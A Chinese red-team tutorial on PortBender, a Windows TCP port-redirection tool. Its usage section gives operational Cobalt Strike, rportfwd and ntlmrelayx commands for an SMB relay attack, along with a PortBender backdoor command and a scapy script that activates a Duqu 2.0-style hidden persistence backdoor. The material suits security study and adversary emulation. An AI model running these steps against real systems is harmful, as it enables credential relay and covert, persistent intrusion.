[端口复用] 使用 Portbender 重定向 TCP 端口流量

admin 2021年10月29日08:08:46评论733 views字数 4348阅读14分29秒阅读模式


  • 前言

  • 工具地址

  • 简介

  • Portbender 原理

    • 在 Windows 上执行 SMB 中继的方案

    • 拦截网络流量

    • 实现程序的 TCP 端口重定向

    • Duqu 2.0 PortServ.sys 持久化技术

  • 使用方法

    • 使用 PortBender 执行 SMB 中继攻击

    • 使用 PortBender 实现 Duqu 2.0 持久化后门

  • 结论

  • 参考文章


前言

PortBender是一个TCP端口重定向程序,使用了带有数字签名的 WinDivert 驱动程序。PortBender允许红队在被控端上将一个已经被服务使用的TCP端口的流量重定向到另一个TCP端口,例如 445/TCP 到 8445/TCP。PortBender包括一个cna脚本,红队可以利用将PortBender工具与Cobalt Strike集成。由于该工具通过RDI进行加载,所以也可通过dll反射加载器执行或者被支持加载模块的其他C2框架集成。该工具还允许攻击者模拟 Duque 2.0 APT 组织使用的portserv.sys后门/持久性机制。

工具地址

https://github.com/praetorian-inc/PortBender

简介

本文将主要介绍以下内容:

  • Portbender 原理
  • 使用方法

Portbender 原理

在 Windows 上执行 SMB 中继的方案

方案一

使用NetSh PortProxy机制来重定向发往端口 445/TCP 的流量。但是,在这种情况下,此机制似乎不适用于重定向端口 445/TCP 上运行的 SMB 服务流量。Francisco Dominguez在其题为通过 Windows 端口 445 上的 Meterpreter 进行远程 NTLM 中继中也指出了NetSh PortProxy接口的这种限制。

方案二

禁用主机上的 SMB 服务并重新启动。但是红队通常会避免在操作期间对任何系统关键服务进行更改或修改(并避免重新启动系统)。因此这个选项虽然可行,但不足以满足红队要求。

方案三

利用驱动程序来执行网络流量拦截和修改,驱动程序有几种利用方法,包括编写自定义设备驱动程序,但这些都给部署带来了操作障碍。例如自定义驱动程序需要获取代码签名证书才能加载驱动程序。或者可以通过加载现有的易受攻击的签名驱动程序并利用它来执行 ring0 代码来绕过驱动程序签名保护。这两种情况在利用已建立的工具来执行拦截和检查方面都有明显的缺点。

拦截网络流量

PortBender使用了带有数字签名的 WinDivert 驱动程序。方案三中开发自定义驱动程序并使用代码签名证书对其进行签名的选择并不理想,主要是出于成本(时间)方面的考虑。此外,假设防御者发现了驱动程序,已知了当前驱动程序的代码签名证书只会被用于恶意程序,可以直接跨多个系统组织防御体系。WinDivert 的一个优点是它利用了多个企业软件应用程序合法使用的签名设备驱动程序。例如适用于 Windows 的 Cloudflare 的 Warp VPN 代理(Cloudflare Teams/零信任产品系列的一部分)利用 WinDivert 框架来拦截和修改网络流量,所以WinDivert 的使用不能用来区分是否为恶意程序的标准。第二个方法(通过利用签名的易受攻击的驱动程序加载驱动程序)是不可取的,主要是由于系统稳定性问题,红队重视隐蔽性,不应该使用任何破坏系统稳定的操作。

实现程序的 TCP 端口重定向

PortBender 利用连接管理器来跟踪重定向的连接及其状态。它通过监视在传入 TCP 数据包上设置的标志来跟踪连接状态来实现这一点。当检测到新的传入 TCP 会话时,它会将该会话添加到连接管理器内已建立的连接列表中。当客户端发送设置了 RST 标志的 TCP 数据包时,会话将从该列表中删除。PortBender 监视入站和出站连接。它将入站数据包的目标端口修改为指向重定向端口(例如将发往端口 445/TCP 的数据包更改为 8445/TCP。对于出站连接,它将消息的源端口修改回原始目标端口(例如将源端口从 8445/TCP 修改为 445/TCP)。由于程序利用了模块化的面向对象方法,因此添加其他行为来自定义机制相对简单。例如可以实现对基于条件规则的重定向支持,而无需重构现有的代码库。

Duqu 2.0 PortServ.sys 持久化技术

在一篇题为Duqu 2.0 持久性模块的文章中,卡巴斯基讨论了一种持久性方法,攻击者可以利用这种方法在受到威胁的面向 Internet 的 Web 服务器上安装恶意 NDIS 过滤器驱动程序 (PortServ.sys) 。卡巴斯基描述了一种场景,如果攻击者在 TCP 数据包的数据部分发送带有给定关键字的特制 TCP 数据包,在这种情况下,后门激活的密码是 romanian.antihackerugly.gorilla 。激活后,后门会将流量从攻击者 IP 地址重定向到受感染主机上的替代服务(例如 RDP)。例如攻击者可能会在受到威胁的面向 Internet 的 IIS 服务器上部署这种类型的)有效负载,以将所有流量从端口 443/TCP 重定向到端口 3389/TCP。这种机制允许攻击者绕过任何基于网络的防火墙,因为防火墙允许web流量通过,如下图所示:

[端口复用] 使用 Portbender 重定向 TCP 端口流量

在这种情况下,攻击者入侵了面向 Internet 的 Microsoft Exchange 服务器,并在被控端上部署了 PortBender 后门。假设受感染的 Microsoft Exchange 服务器直接暴露在公网上。攻击者在受感染的系统上安装了 PortBender 后门(在图中显示为一个单独的组件,但实际上它在受感染的服务器上运行)。在 PortBender 中添加了后门命令,允许红队操作员模拟 Duqu 2.0 威胁攻击者利用的这种技术以实现持久性。在这种情况下,PortBender 将侦听给定的端口(例如,443/TCP),并且当它看到同时设置了 SYN 和 RST 标志的 TCP 数据包时,它会检查负载的数据部分是否有给定的关键字。如果该关键字匹配,它会将攻击者 IP 添加到后门客户端 IP 地址列表中,并将所有之后的流量重定向到用户指定的重定向端口(例如,3389/TCP)。然后攻击者可以通过发送另一个设置了 SYN 和 RST 标志并包含关键字的 TCP 数据包来禁用后门,PortBender 将停止从该 IP 重定向流量。

使用方法

使用 PortBender 执行 SMB 中继攻击

编译好PortBender.dll 放入static文件夹 使用Cobalt Strike加载PortBender.cna

使用 Cobalt Strike 上线,需要是一个管理员权限,因为驱动需要管理员权限加载,用Cobalt Strike开启一个socks 通道

socks 8888

然后使用 rportfwd 命令将所有传入流量转发到受害主机上的 8445/TCP 端口到 TeamServer 上的端口 445/TCP。

rportfwd 8445 127.0.0.1 445

安装 Impacket 和 proxychains 并配置 proxychains

socks4  127.0.0.1 8888

利用 TeamServer 上的 socks 代理。然后执行以下命令以执行针对另一个内网系统(在本例中为 192.168.109.9)的发起 SMB 中继攻击。

sudo proxychains python3 examples/ntlmrelayx.py -t smb://192.168.109.9 -smb2support

使用 Cobalt Strike 加载cna脚本,

[端口复用] 使用 Portbender 重定向 TCP 端口流量然后需要根据操作系统架构是 32 位还是 64 位来把 WinDivert32.sys 或者 WinDivert32.sys 放到该shell 同目录下,Windows 似乎没有提供 API 或机制在内存上加载设备驱动程序。

使用命令执行 PortBender 实用程序,将连接到 445/TCP 的连接重定向到 8445/TCP(远程端口转发端口),如下所示:

PortBender redirect 445 8445
[端口复用] 使用 Portbender 重定向 TCP 端口流量

模拟来自域管理员帐户的 SMB 身份验证以进行测试。出于演示目的,针对另一台内网主机执行 SMB 中继攻击。成功中继攻击的预期输出如下:[端口复用] 使用 Portbender 重定向 TCP 端口流量

使用 jobkill 和 kill 命令来终止 PortBender 作业和进程。

[端口复用] 使用 Portbender 重定向 TCP 端口流量

使用 PortBender 实现 Duqu 2.0 持久化后门

首先执行命令来部署持久化后门。当使用关键字 praetorian.antihacker 激活后门时,此命令指示后门将发往 443/TCP 的流量重定向到 3389/TCP。

PortBender backdoor 443 3389 praetorian.antihacker
[端口复用] 使用 Portbender 重定向 TCP 端口流量

必须发送一个 TCP 数据包来激活后门,其中设置了 SYN 和 RST 标志以及包含在 TCP 数据包数据部分中的密码,可以通过 Python 的 scapy 库实现 activate.py:

import argparse
from scapy.all import *
TCP_ACTIVATE=TCP(dport=445, flags="SR", seq=100)
data = "praetorian.antihacker"
a = IP(dst="192.168.109.10", src="192.168.109.8")/TCP_ACTIVATE/data
send(a)

然后在 Cobalt Strike 控制台中看到如下图所示,显示新的客户端连接已成功注册[端口复用] 使用 Portbender 重定向 TCP 端口流量

通过查询用于配置 RDP 服务的注册表项来查询 RDP 配置,观察到配置的端口是 3389/TCP(0xD3D):[端口复用] 使用 Portbender 重定向 TCP 端口流量

攻击者完成对系统的访问后可以重新运行 activate.py 脚本以断开连接。预期输出如下所示:[端口复用] 使用 Portbender 重定向 TCP 端口流量

结论

本文讨论了红队如何利用 PortBender 工具来执行攻击,例如 SMB 中继攻击,这些攻击在之前很难通过 Cobalt Strike 等 C2 框架完成。文章还讨论了攻击者如何利用 PortBender 的 TCP 端口重定向在面向 Internet 的 Windows 服务器上建立隐蔽的持久性,以更好地模拟某些APT手法,例如 Duqu 2.0 APT。

参考文章

  • https://www.praetorian.com/blog/portbender-utility/
  • https://securelist.com/the-duqu-2-0-persistence-module/70641/
  • https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/
  • https://www.antiy.com/response/Duqu-2.pdf
  • https://github.com/praetorian-inc/PortBender


本文始发于微信公众号(宽字节安全):[端口复用] 使用 Portbender 重定向 TCP 端口流量

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月29日08:08:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [端口复用] 使用 Portbender 重定向 TCP 端口流量http://cn-sec.com/archives/437340.html

发表评论

匿名网友 填写信息